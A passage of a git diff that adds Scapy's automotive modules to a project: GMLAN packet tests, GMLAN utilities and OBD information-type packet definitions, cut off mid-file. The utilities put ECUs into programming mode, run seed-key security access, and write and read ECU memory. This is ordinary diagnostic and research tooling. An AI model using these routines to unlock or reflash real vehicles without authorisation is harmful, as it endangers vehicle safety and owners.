GMLAN()/GMLAN_RMBAPR(b'\x11\x22\x44\x22\x11\x00') +x.memoryAddress == 0x11224422 +x.dataRecord == b'\x11\x00' + += Craft Packet with ECU AddressingScheme4 +x = GMLAN() / GMLAN_RMBA(b'\x11\x22\x44\x22\x11\x00') +y = GMLAN()/GMLAN_RMBA(memoryAddress=0x11224422, memorySize=0x1100) +bytes(x) == bytes(y) + += Craft Packet for RequestDownload2 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 +x = GMLAN(b'\x34\x12\x08\x15') +x.service == 0x34 +x.dataFormatIdentifier == 0x12 +x.memorySize == 0x815 + +y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x815) +bytes(y) == bytes(x) + += Craft Packet for RequestDownload3 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 +x = GMLAN(b'\x34\x12\x08\x15\x00') +x.service == 0x34 +x.dataFormatIdentifier == 0x12 +x.memorySize == 0x81500 + +y = GMLAN()/GMLAN_RD(dataFormatIdentifier=0x12, memorySize=0x81500) +bytes(y) == bytes(x) + += Craft Packet for RequestDownload4 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 +x = GMLAN(b'\x34\x12\x08\x15\x00\x11') +x.service == 0x34 +x.dataFormatIdentifier == 0x12 +x.memorySize == 0x8150011 + += Craft Packet for RFRD1 +x = GMLAN(b'\x12\x01') +x.service == 0x12 +x.subfunction == 1 + += Craft Packet for RFRD2 +x = GMLAN(b'\x12\x02\x01\x02\x03\x04') +x.service == 0x12 +x.subfunction == 2 +x.dtc.failureRecordNumber == 1 +x.dtc.DTCHighByte == 2 +x.dtc.DTCLowByte == 3 +x.dtc.DTCFailureType == 4 + += Craft Packet for RFRDPR_RFRI +x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04') +x.service == 0x52 +x.subfunction == 1 +x.failureRecordDataStructureIdentifier == 0 +x.dtcs[0].failureRecordNumber == 1 +x.dtcs[0].DTCHighByte == 2 +x.dtcs[0].DTCLowByte == 3 +x.dtcs[0].DTCFailureType == 4 + += Craft Packet for RFRDPR_RFRI +x = GMLAN(b'\x52\x01\x00\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04\x01\x02\x03\x04') +x.service == 0x52 +x.subfunction == 1 +x.failureRecordDataStructureIdentifier == 0 +x.dtcs[0].failureRecordNumber == 1 +x.dtcs[0].DTCHighByte == 2 +x.dtcs[0].DTCLowByte == 3 +x.dtcs[0].DTCFailureType == 4 +x.dtcs[1].failureRecordNumber == 1 +x.dtcs[1].DTCHighByte == 2 +x.dtcs[1].DTCLowByte == 3 +x.dtcs[1].DTCFailureType == 4 +x.dtcs[2].failureRecordNumber == 1 +x.dtcs[2].DTCHighByte == 2 +x.dtcs[2].DTCLowByte == 3 +x.dtcs[2].DTCFailureType == 4 +x.dtcs[3].failureRecordNumber == 1 +x.dtcs[3].DTCHighByte == 2 +x.dtcs[3].DTCLowByte == 3 +x.dtcs[3].DTCFailureType == 4 + += Craft Packet for RFRDPR_RFRP +x = GMLAN(b'\x52\x02\x01\x02\x03\x04deadbeef') +x.service == 0x52 +x.subfunction == 2 +x.dtc.failureRecordNumber == 1 +x.dtc.DTCHighByte == 2 +x.dtc.DTCLowByte == 3 +x.dtc.DTCFailureType == 4 +x.show() +x.load == b'deadbeef' + + += Craft Packet for RDBI +x = GMLAN(b'\x1A\x11') +x.service == 0x1A +x.dataIdentifier == 0x11 + += Craft Packet for RDBIPR +x = GMLAN(b'\x5A\x11deadbeef') +x.service == 0x5A +x.dataIdentifier == 0x11 +x.load == b'deadbeef' + += Craft Packet for RDBPI +x = GMLAN(b'\x22\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88\x99\x99') +x.service == 0x22 +x.identifiers[0] == 0x1111 +x.identifiers[1] == 0x2222 +x.identifiers[2] == 0x3333 +x.identifiers[3] == 0x4444 +x.identifiers[4] == 0x5555 +x.identifiers[5] == 0x6666 +x.identifiers[6] == 0x7777 +x.identifiers[7] == 0x8888 +x.identifiers[8] == 0x9999 + += Craft Packet for RDBPIPR +x = GMLAN(b'\x62\x00\x11deadbeef') +x.service == 0x62 +x.parameterIdentifier == 0x11 +x.load == b'deadbeef' + += Craft Packet for GMLAN_RDBPKTI1 +x = GMLAN(b'\xAA\x01deadbeef') +x.service == 0xAA +x.subfunction == 0x01 +x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] + += Craft Packet for GMLAN_RDBPKTI3 +x = GMLAN(b'\xAA\x02deadbeef') +x.service == 0xAA +x.subfunction == 0x02 +x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] + += Craft Packet for GMLAN_RDBPKTI4 +x = GMLAN(b'\xAA\x03deadbeef') +x.service == 0xAA +x.subfunction == 0x03 +x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] + += Craft Packet for GMLAN_RDBPKTI2 +x = GMLAN(b'\xAA\x00') +x.service == 0xAA +x.subfunction == 0 + += Build GMLAN_RDBPKTI1 +x = GMLAN()/GMLAN_RDBPKTI(subfunction=1, request_DPIDs=[0x64, 0x65]) +assert b"\xaa\x01de" == bytes(x) + += Craft Packet for GMLAN_SA1 +x = GMLAN(b'\x27\x01') +x.service == 0x27 +x.subfunction == 1 + += Craft Packet for GMLAN_SA2 +x = GMLAN(b'\x27\x02\xde\xad') +x.service == 0x27 +x.subfunction == 2 +x.securityKey == 0xdead + += Craft Packet for GMLAN_SAPR1 +x = GMLAN(b'\x67\x02') +x.service == 0x67 +x.subfunction == 2 + += Craft Packet for GMLAN_SAPR2 +x = GMLAN(b'\x67\x01\xde\xad') +x.service == 0x67 +x.subfunction == 1 +x.securitySeed == 0xdead + += Craft Packet for GMLAN_DDM +x = GMLAN(b'\x2c\x02dead') +x.service == 0x2c +x.DPIDIdentifier == 2 +x.PIDData == b'dead' + += Craft Packet for GMLAN_DDMPR +x = GMLAN(b'\x6c\x02dead') +x.service == 0x6c +x.DPIDIdentifier == 2 + += Craft Packet for GMLAN_DPBA1 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 +x = GMLAN(b'\x2D\x02\x02\x11\x11\x33') +x.service == 0x2d +x.parameterIdentifier == 0x202 +x.memoryAddress == 0x1111 +x.memorySize == 0x33 + += Craft Packet for GMLAN_DPBA2 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 +x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x33') +x.service == 0x2d +x.parameterIdentifier == 0x202 +x.memoryAddress == 0x111111 +x.memorySize == 0x33 + += Craft Packet for GMLAN_DPBA3 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 +x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x11\x33') +x.service == 0x2d +x.parameterIdentifier == 0x202 +x.memoryAddress == 0x11111111 +x.memorySize == 0x33 + += Craft Packet for GMLAN_DPBAPR +x = GMLAN(b'\x6D\x02\x02') +x.service == 0x6d +x.parameterIdentifier == 0x202 + += Craft Packet for GMLAN_RD1 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 +x = GMLAN(b'\x34\x02\x11\x11') +x.service == 0x34 +x.dataFormatIdentifier == 0x2 +x.memorySize == 0x1111 + += Craft Packet for GMLAN_RD2 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 +x = GMLAN(b'\x34\x02\x11\x11\x11') +x.service == 0x34 +x.dataFormatIdentifier == 0x2 +x.memorySize == 0x111111 + += Craft Packet for GMLAN_RD3 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 +x = GMLAN(b'\x34\x02\x11\x11\x11\x11') +x.service == 0x34 +x.dataFormatIdentifier == 0x2 +x.memorySize == 0x11111111 + += Craft Packet for GMLAN_TD1 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 +x = GMLAN(b'\x36\x02\x11\x11dead') +x.service == 0x36 +x.subfunction == 0x2 +x.startingAddress == 0x1111 +x.dataRecord == b'dead' + += Craft Packet for GMLAN_TD2 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 +x = GMLAN(b'\x36\x02\x11\x11\x11dead') +x.service == 0x36 +x.subfunction == 0x2 +x.startingAddress == 0x111111 +x.dataRecord == b'dead' + += Craft Packet for GMLAN_TD3 +conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 +x = GMLAN(b'\x36\x02\x11\x11\x11\x11dead') +x.service == 0x36 +x.subfunction == 0x2 +x.startingAddress == 0x11111111 +x.dataRecord == b'dead' + += Craft Packet for WDBI +x = GMLAN(b'\x3b\x11deadbeef') +x.service == 0x3b +x.dataIdentifier == 0x11 +x.dataRecord == b'deadbeef' + += Craft Packet for WDBIPR +x = GMLAN(b'\x7b\x11') +x.service == 0x7b +x.dataIdentifier == 0x11 + += Craft Packet for RPSPR +x = GMLAN(b'\xe2\x11') +x.service == 0xe2 +x.programmedState == 0x11 + += Craft Packet for PM +x = GMLAN(b'\xA5\x11') +x.service == 0xA5 +x.subfunction == 0x11 + += Craft Packet for RDI +x = GMLAN(b'\xA9\x11') +x.service == 0xA9 +x.subfunction == 0x11 + += Craft Packet for RDI_BN +x = GMLAN(b'\xA9\x80\x11\x22\x33') +x.service == 0xA9 +x.subfunction == 0x80 +x.DTCHighByte == 0x11 +x.DTCLowByte == 0x22 +x.DTCFailureType == 0x33 + += Craft Packet for RDI_BM1 +x = GMLAN(b'\xA9\x81\x11') +x.service == 0xA9 +x.subfunction == 0x81 +x.DTCStatusMask == 0x11 + += Craft Packet for RDI_BM2 +x = GMLAN(b'\xA9\x82\x11') +x.service == 0xA9 +x.subfunction == 0x82 +x.DTCStatusMask == 0x11 + += Craft Packet for NR +x = GMLAN(b'\x7f\x11\x00\x11\x22') +x.service == 0x7f +x.requestServiceId == 0x11 +x.returnCode == 0 +x.deviceControlLimitExceeded == 0x1122 + += Check not answers +y = GMLAN(b'\x11deadbeef') +x = GMLAN(b'\x7f\x10\x00\x11\x22') +assert not x.answers(y) + += Check answers 1 +y = GMLAN(b'\x10deadbeef') +x = GMLAN(b'\x7f\x10\x00\x11\x22') +assert x.answers(y) + += Check hashret 1 +print(y.hashret()) +print(x.hashret()) + +y.hashret() == x.hashret() + += Check answers 2 +y = GMLAN()/GMLAN_SA(subfunction=1) +x = GMLAN()/GMLAN_SAPR() +assert x.answers(y) + += Check hashret 2 +y.hashret() == x.hashret() + diff --git a/libs/scapy/contrib/automotive/gm/gmlanutils.py b/libs/scapy/contrib/automotive/gm/gmlanutils.py new file mode 100755 index 0000000..85a5edf --- /dev/null +++ b/libs/scapy/contrib/automotive/gm/gmlanutils.py @@ -0,0 +1,339 @@ +#! /usr/bin/env python + +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Markus Schroetter +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.description = GMLAN Utilities +# scapy.contrib.status = loads + +import time +from scapy.contrib.automotive.gm.gmlan import GMLAN, GMLAN_SA, GMLAN_RD, \ + GMLAN_TD, GMLAN_PM, GMLAN_RMBA +from scapy.config import conf +from scapy.contrib.isotp import ISOTPSocket +from scapy.error import warning, log_loading +from scapy.utils import PeriodicSenderThread + + +__all__ = ["GMLAN_TesterPresentSender", "GMLAN_InitDiagnostics", + "GMLAN_GetSecurityAccess", "GMLAN_RequestDownload", + "GMLAN_TransferData", "GMLAN_TransferPayload", + "GMLAN_ReadMemoryByAddress", "GMLAN_BroadcastSocket"] + +log_loading.info("\"conf.contribs['GMLAN']" + "['treat-response-pending-as-answer']\" set to True). This " + "is required by the GMLAN-Utils module to operate " + "correctly.") +try: + conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False +except KeyError: + conf.contribs['GMLAN'] = {'treat-response-pending-as-answer': False} + + +class GMLAN_TesterPresentSender(PeriodicSenderThread): + def __init__(self, sock, pkt=GMLAN(service="TesterPresent"), interval=2): + """ Thread to send TesterPresent messages packets periodically + + Args: + sock: socket where packet is sent periodically + pkt: packet to send + interval: interval between two packets + """ + PeriodicSenderThread.__init__(self, sock, pkt, interval) + + +def _check_response(resp, verbose): + if resp is None: + if verbose: + print("Timeout.") + return False + if verbose: + resp.show() + return resp.sprintf("%GMLAN.service%") != "NegativeResponse" + + +def _send_and_check_response(sock, req, timeout, verbose): + if verbose: + print("Sending %s" % repr(req)) + resp = sock.sr1(req, timeout=timeout, verbose=0) + return _check_response(resp, verbose) + + +def GMLAN_InitDiagnostics(sock, broadcastsocket=None, timeout=None, + verbose=None, retry=0): + """Send messages to put an ECU into an diagnostic/programming state. + + Args: + sock: socket to send the message on. + broadcast: socket for broadcasting. If provided some message will be + sent as broadcast. Recommended when used on a network with + several ECUs. + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level + retry: number of retries in case of failure. + + Returns true on success. + """ + if verbose is None: + verbose = conf.verb + retry = abs(retry) + + while retry >= 0: + retry -= 1 + + # DisableNormalCommunication + p = GMLAN(service="DisableNormalCommunication") + if broadcastsocket is None: + if not _send_and_check_response(sock, p, timeout, verbose): + continue + else: + if verbose: + print("Sending %s as broadcast" % repr(p)) + broadcastsocket.send(p) + time.sleep(0.05) + + # ReportProgrammedState + p = GMLAN(service="ReportProgrammingState") + if not _send_and_check_response(sock, p, timeout, verbose): + continue + # ProgrammingMode requestProgramming + p = GMLAN() / GMLAN_PM(subfunction="requestProgrammingMode") + if not _send_and_check_response(sock, p, timeout, verbose): + continue + time.sleep(0.05) + + # InitiateProgramming enableProgramming + # No response expected + p = GMLAN() / GMLAN_PM(subfunction="enableProgrammingMode") + if verbose: + print("Sending %s" % repr(p)) + sock.send(p) + time.sleep(0.05) + return True + return False + + +def GMLAN_GetSecurityAccess(sock, keyFunction, level=1, timeout=None, + verbose=None, retry=0): + """Authenticate on ECU. Implements Seey-Key procedure. + + Args: + sock: socket to send the message on. + keyFunction: function implementing the key algorithm. + level: level of access + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level + retry: number of retries in case of failure. + + Returns true on success. + """ + if verbose is None: + verbose = conf.verb + retry = abs(retry) + + if level % 2 == 0: + warning("Parameter Error: Level must be an odd number.") + return False + + while retry >= 0: + retry -= 1 + + request = GMLAN() / GMLAN_SA(subfunction=level) + if verbose: + print("Requesting seed..") + resp = sock.sr1(request, timeout=timeout, verbose=0) + if not _check_response(resp, verbose): + if verbose: + print("Negative Response.") + continue + + seed = resp.securitySeed + if seed == 0: + if verbose: + print("ECU security already unlocked. (seed is 0x0000)") + return True + + keypkt = GMLAN() / GMLAN_SA(subfunction=level + 1, + securityKey=keyFunction(seed)) + if verbose: + print("Responding with key..") + resp = sock.sr1(keypkt, timeout=timeout, verbose=0) + if resp is None: + if verbose: + print("Timeout.") + continue + if verbose: + resp.show() + if resp.sprintf("%GMLAN.service%") == "SecurityAccessPositiveResponse": # noqa: E501 + if verbose: + print("SecurityAccess granted.") + return True + # Invalid Key + elif resp.sprintf("%GMLAN.service%") == "NegativeResponse" and \ + resp.sprintf("%GMLAN.returnCode%") == "InvalidKey": + if verbose: + print("Key invalid") + continue + + return False + + +def GMLAN_RequestDownload(sock, length, timeout=None, verbose=None, retry=0): + """Send RequestDownload message. + + Usually used before calling TransferData. + + Args: + sock: socket to send the message on. + length: value for the message's parameter 'unCompressedMemorySize'. + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level. + retry: number of retries in case of failure. + + Returns true on success. + """ + if verbose is None: + verbose = conf.verb + retry = abs(retry) + + while retry >= 0: + # RequestDownload + pkt = GMLAN() / GMLAN_RD(memorySize=length) + resp = sock.sr1(pkt, timeout=timeout, verbose=0) + if _check_response(resp, verbose): + return True + retry -= 1 + if retry >= 0 and verbose: + print("Retrying..") + return False + + +def GMLAN_TransferData(sock, addr, payload, maxmsglen=None, timeout=None, + verbose=None, retry=0): + """Send TransferData message. + + Usually used after calling RequestDownload. + + Args: + sock: socket to send the message on. + addr: destination memory address on the ECU. + payload: data to be sent. + maxmsglen: maximum length of a single iso-tp message. (default: + maximum length) + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level. + retry: number of retries in case of failure. + + Returns true on success. + """ + if verbose is None: + verbose = conf.verb + retry = abs(retry) + startretry = retry + + scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] + if addr < 0 or addr >= 2**(8 * scheme): + warning("Error: Invalid address " + hex(addr) + " for scheme " + + str(scheme)) + return False + + # max size of dataRecord according to gmlan protocol + if maxmsglen is None or maxmsglen <= 0 or maxmsglen > (4093 - scheme): + maxmsglen = (4093 - scheme) + + for i in range(0, len(payload), maxmsglen): + retry = startretry + while True: + if len(payload[i:]) > maxmsglen: + transdata = payload[i:i + maxmsglen] + else: + transdata = payload[i:] + pkt = GMLAN() / GMLAN_TD(startingAddress=addr + i, + dataRecord=transdata) + resp = sock.sr1(pkt, timeout=timeout, verbose=0) + if _check_response(resp, verbose): + break + retry -= 1 + if retry >= 0: + if verbose: + print("Retrying..") + else: + return False + + return True + + +def GMLAN_TransferPayload(sock, addr, payload, maxmsglen=None, timeout=None, + verbose=None, retry=0): + """Send data by using GMLAN services. + + Args: + sock: socket to send the data on. + addr: destination memory address on the ECU. + payload: data to be sent. + maxmsglen: maximum length of a single iso-tp message. (default: + maximum length) + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level. + retry: number of retries in case of failure. + + Returns true on success. + """ + if not GMLAN_RequestDownload(sock, len(payload), timeout=timeout, + verbose=verbose, retry=retry): + return False + if not GMLAN_TransferData(sock, addr, payload, maxmsglen=maxmsglen, + timeout=timeout, verbose=verbose, retry=retry): + return False + return True + + +def GMLAN_ReadMemoryByAddress(sock, addr, length, timeout=None, + verbose=None, retry=0): + """Read data from ECU memory. + + Args: + sock: socket to send the data on. + addr: source memory address on the ECU. + length: bytes to read + timeout: timeout for sending, receiving or sniffing packages. + verbose: set verbosity level. + retry: number of retries in case of failure. + + Returns the bytes read. + """ + if verbose is None: + verbose = conf.verb + retry = abs(retry) + + scheme = conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] + if addr < 0 or addr >= 2**(8 * scheme): + warning("Error: Invalid address " + hex(addr) + " for scheme " + + str(scheme)) + return None + + # max size of dataRecord according to gmlan protocol + if length <= 0 or length > (4094 - scheme): + warning("Error: Invalid length " + hex(length) + " for scheme " + + str(scheme) + ". Choose between 0x1 and " + hex(4094 - scheme)) + return None + + while retry >= 0: + # RequestDownload + pkt = GMLAN() / GMLAN_RMBA(memoryAddress=addr, memorySize=length) + resp = sock.sr1(pkt, timeout=timeout, verbose=0) + if _check_response(resp, verbose): + return resp.dataRecord + retry -= 1 + if retry >= 0 and verbose: + print("Retrying..") + return None + + +def GMLAN_BroadcastSocket(interface): + """Returns a GMLAN broadcast socket using interface.""" + return ISOTPSocket(interface, sid=0x101, did=0x0, basecls=GMLAN, + extended_addr=0xfe) diff --git a/libs/scapy/contrib/automotive/obd/__init__.py b/libs/scapy/contrib/automotive/obd/__init__.py new file mode 100755 index 0000000..f89e965 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/__init__.py @@ -0,0 +1,12 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive obd specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/obd/iid/__init__.py b/libs/scapy/contrib/automotive/obd/iid/__init__.py new file mode 100755 index 0000000..f89e965 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/iid/__init__.py @@ -0,0 +1,12 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive obd specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/obd/iid/iids.py b/libs/scapy/contrib/automotive/obd/iid/iids.py new file mode 100755 index 0000000..9d21b8c --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/iid/iids.py @@ -0,0 +1,177 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import FieldLenField, FieldListField, StrFixedLenField, \ + ByteField, ShortField, FlagsField, XByteField, PacketListField +from scapy.packet import Packet, bind_layers +from scapy.contrib.automotive.obd.packet import OBD_Packet +from scapy.contrib.automotive.obd.services import OBD_S09 + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs#Service_09 +# for further information +# IID = Information IDentification + +class OBD_S09_PR_Record(Packet): + fields_desc = [ + XByteField("iid", 0), + ] + + +class OBD_S09_PR(Packet): + name = "Infotype IDs" + fields_desc = [ + PacketListField("data_records", [], OBD_S09_PR_Record) + ] + + def answers(self, other): + return other.__class__ == OBD_S09 \ + and all(r.iid in other.iid for r in self.data_records) + + +class OBD_IID00(OBD_Packet): + name = "IID_00_Service9SupportedInformationTypes" + fields_desc = [ + FlagsField('supported_iids', 0, 32, [ + 'IID20', + 'IID1F', + 'IID1E', + 'IID1D', + 'IID1C', + 'IID1B', + 'IID1A', + 'IID19', + 'IID18', + 'IID17', + 'IID16', + 'IID15', + 'IID14', + 'IID13', + 'IID12', + 'IID11', + 'IID10', + 'IID0F', + 'IID0E', + 'IID0D', + 'IID0C', + 'IID0B', + 'IID0A', + 'IID09', + 'IID08', + 'IID07', + 'IID06', + 'IID05', + 'IID04', + 'IID03', + 'IID02', + 'IID01' + ]) + ] + + +class _OBD_IID_MessageCount(OBD_Packet): + fields_desc = [ + ByteField('message_count', 0) + ] + + +class OBD_IID01(_OBD_IID_MessageCount): + name = "IID_01_VinMessageCount" + + +class OBD_IID03(_OBD_IID_MessageCount): + name = "IID_03_CalibrationIdMessageCount" + + +class OBD_IID05(_OBD_IID_MessageCount): + name = "IID_05_CalibrationVerificationNumbersMessageCount" + + +class OBD_IID07(_OBD_IID_MessageCount): + name = "IID_07_InUsePerformanceTrackingMessageCount" + + +class OBD_IID09(_OBD_IID_MessageCount): + name = "IID_09_EcuNameMessageCount" + + +class OBD_IID02(OBD_Packet): + name = "IID_02_VehicleIdentificationNumber" + fields_desc = [ + FieldLenField('count', None, count_of='vehicle_identification_numbers', + fmt='B'), + FieldListField('vehicle_identification_numbers', [], + StrFixedLenField('', b'', 17), + count_from=lambda pkt: pkt.count) + ] + + +class OBD_IID04(OBD_Packet): + name = "IID_04_CalibrationId" + fields_desc = [ + FieldLenField('count', None, count_of='calibration_identifications', + fmt='B'), + FieldListField('calibration_identifications', [], + StrFixedLenField('', b'', 16), + count_from=lambda pkt: pkt.count) + ] + + +class OBD_IID06(OBD_Packet): + name = "IID_06_CalibrationVerificationNumbers" + fields_desc = [ + FieldLenField('count', None, + count_of='calibration_verification_numbers', fmt='B'), + FieldListField('calibration_verification_numbers', [], + StrFixedLenField('', b'', 4), + count_from=lambda pkt: pkt.count) + ] + + +class OBD_IID08(OBD_Packet): + name = "IID_08_InUsePerformanceTracking" + fields_desc = [ + FieldLenField('count', None, count_of='data', fmt='B'), + FieldListField('data', [], + ShortField('', 0), + count_from=lambda pkt: pkt.count) + ] + + +class OBD_IID0A(OBD_Packet): + name = "IID_0A_EcuName" + fields_desc = [ + FieldLenField('count', None, count_of='ecu_names', fmt='B'), + FieldListField('ecu_names', [], + StrFixedLenField('', b'', 20), + count_from=lambda pkt: pkt.count) + ] + + +class OBD_IID0B(OBD_Packet): + name = "IID_0B_InUsePerformanceTrackingForCompressionIgnitionVehicles" + fields_desc = [ + FieldLenField('count', None, count_of='data', fmt='B'), + FieldListField('data', [], + ShortField('', 0), + count_from=lambda pkt: pkt.count) + ] + + +bind_layers(OBD_S09_PR_Record, OBD_IID00, iid=0x00) +bind_layers(OBD_S09_PR_Record, OBD_IID01, iid=0x01) +bind_layers(OBD_S09_PR_Record, OBD_IID02, iid=0x02) +bind_layers(OBD_S09_PR_Record, OBD_IID03, iid=0x03) +bind_layers(OBD_S09_PR_Record, OBD_IID04, iid=0x04) +bind_layers(OBD_S09_PR_Record, OBD_IID05, iid=0x05) +bind_layers(OBD_S09_PR_Record, OBD_IID06, iid=0x06) +bind_layers(OBD_S09_PR_Record, OBD_IID07, iid=0x07) +bind_layers(OBD_S09_PR_Record, OBD_IID08, iid=0x08) +bind_layers(OBD_S09_PR_Record, OBD_IID09, iid=0x09) +bind_layers(OBD_S09_PR_Record, OBD_IID0A, iid=0x0A) +bind_layers(OBD_S09_PR_Record, OBD_IID0B, iid=0x0B) diff --git a/libs/scapy/contrib/automotive/obd/mid/__init__.py b/libs/scapy/contrib/automotive/obd/mid/__init__.py new file mode 100755 index 0000000..f89e965 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/mid/__init__.py @@ -0,0 +1,12 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive obd specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/obd/mid/mids.py b/libs/scapy/contrib/automotive/obd/mid/mids.py new file mode 100755 index 0000000..19ee35c --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/mid/mids.py @@ -0,0 +1,554 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import FlagsField, ScalingField, ByteEnumField, \ + MultipleTypeField, ShortField, ShortEnumField, PacketListField +from scapy.packet import Packet, bind_layers +from scapy.contrib.automotive.obd.packet import OBD_Packet +from scapy.contrib.automotive.obd.services import OBD_S06 + + +def _unit_and_scaling_fields(name): + return [ + (ScalingField(name, 0, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1), + (ScalingField(name, 0, scaling=0.1, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x2), + (ScalingField(name, 0, scaling=0.01, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x3), + (ScalingField(name, 0, scaling=0.001, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x4), + (ScalingField(name, 0, scaling=0.0000305, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x5), + (ScalingField(name, 0, scaling=0.000305, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x6), + (ScalingField(name, 0, scaling=0.25, unit="rpm", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x7), + (ScalingField(name, 0, scaling=0.01, unit="km/h", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x8), + (ScalingField(name, 0, unit="km/h", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x9), + (ScalingField(name, 0, scaling=0.122, unit="mV", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xA), + (ScalingField(name, 0, scaling=0.001, unit="V", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xB), + (ScalingField(name, 0, scaling=0.01, unit="V", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xC), + (ScalingField(name, 0, scaling=0.00390625, unit="mA", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xD), + (ScalingField(name, 0, scaling=0.001, unit="A", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xE), + (ScalingField(name, 0, scaling=0.01, unit="A", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0xF), + (ScalingField(name, 0, unit="ms", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x10), + (ScalingField(name, 0, scaling=100, unit="ms", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x11), + (ScalingField(name, 0, scaling=1, unit="s", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x12), + (ScalingField(name, 0, scaling=1, unit="mOhm", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x13), + (ScalingField(name, 0, scaling=1, unit="Ohm", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x14), + (ScalingField(name, 0, scaling=1, unit="kOhm", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x15), + (ScalingField(name, -40, scaling=0.1, unit="deg. C", + offset=-40, fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x16), + (ScalingField(name, 0, scaling=0.01, unit="kPa", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x17), + (ScalingField(name, 0, scaling=0.0117, unit="kPa", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x18), + (ScalingField(name, 0, scaling=0.079, unit="kPa", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x19), + (ScalingField(name, 0, scaling=1, unit="kPa", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1A), + (ScalingField(name, 0, scaling=10, unit="kPa", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1B), + (ScalingField(name, 0, scaling=0.01, unit="deg.", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1C), + (ScalingField(name, 0, scaling=0.5, unit="deg.", fmt='H'), + lambda pkt: pkt.unit_and_scaling_id == 0x1D), + (ScalingField(name, 0, scaling=0.0000305, 